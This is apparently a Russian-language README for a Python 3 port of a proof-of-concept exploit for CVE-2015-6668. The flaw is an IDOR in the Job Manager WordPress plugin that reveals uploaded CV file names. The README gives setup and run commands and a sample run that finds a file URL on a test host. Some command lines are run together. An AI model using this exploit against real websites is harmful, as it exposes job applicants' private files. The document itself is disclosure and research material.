
POC от Evangelos Mourikis для CVE-2015-6668, адаптированный для Python 3
POC от Evangelos Mourikis для CVE-2015-6668, портированный на Python 3
Эксплуатирует уязвимость IDOR в плагине Job Manager для Wordpress.
Протестировано на Python 3.11.9
Клонируйте репозиторий, настройте виртуальное окружение (при желании), установите requests и запустите скрипт с помощью Python 3.
git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668
python3 -m venv .venv
source .venv/bin/activate
.\.venv\Scripts\activate
requestspython3 -m pip install requests
exploit.pypython3 ./exploit.py
$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg